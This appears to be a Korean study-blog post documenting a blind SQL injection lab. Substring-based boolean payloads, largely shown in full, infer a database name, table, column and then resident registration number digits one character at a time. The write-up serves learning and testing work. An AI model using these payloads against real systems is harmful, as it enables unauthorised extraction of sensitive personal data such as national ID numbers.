Oh! JUN

데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) 본문

웹 해킹/SQL Injection

데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용)

Kwon Oh! JUN 2022. 8. 30. 15:31

※ 목표 

DB(board) -> Table(members) -> column(idx, id, password, jumin)

 

1. DB 이름 파악 

substring(database(), 1, 1)='b' 정상 출력 -> test검색
substring(database(), 2, 1)='o' 정상 출력 -> test검색
substring(database(), 3, 1)='a' 정상 출력 -> test검색
substring(database(), 4, 1)='r' 정상 출력 -> test검색
substring(database(), 5, 1)='d' 정상 출력 -> test검색

- database() : DB 이름 정보 

- substring('문자열',index,size)

- 실제로는 모든 대소문자 +  특수문자를 대입해서 참인지 거짓인지 판별하여 탐색이 가능하다.

- 참이면 'test' 검색 정상적으로 작동하고, 거짓이면 검색기능을 하지 않는다.


 

 

2. Table 이름 파악

substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),1,1)='m' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),2,1)='e' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),3,1)='m' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),4,1)='b' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),5,1)='e' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),6,1)='r' 정상 출력 -> test검색
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),7,1)='s' 정상 출력 -> test검색

- DB 이름이 'board'이면서 컬럼 이름에 JUMIN이 포함되어있는 Table의 이름을 조회


 

 

3. column 이름 파악

substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),1,1)='J' 정상 출력 -> test검색
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),2,1)='U' 정상 출력 -> test검색
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),3,1)='M' 정상 출력 -> test검색
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),4,1)='I' 정상 출력 -> test검색
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),5,1)='N' 정상 출력 -> test검색

- DB 이름이 'board' 이고, Table 이름이 'members'이면서 컬럼에 'JUMIN'이 포함되어 있는 컬럼의 이름 조회


 

 

4. Data 파악

substring((select jumin from board.members limit 0,1),1,1)=8 정상 출력 -> test검색
substring((select jumin from board.members limit 0,1),2,1)=1 정상 출력 -> test검색
substring((select jumin from board.members limit 0,1),3,1)=0 정상 출력 -> test검색
substring((select jumin from board.members limit 0,1),4,1)=2 정상 출력 -> test검색
... ...

- board.members의 첫번째(limit 0,1) 열 'JUMIN'의 첫번째 값(substring('',1,1))부터 체크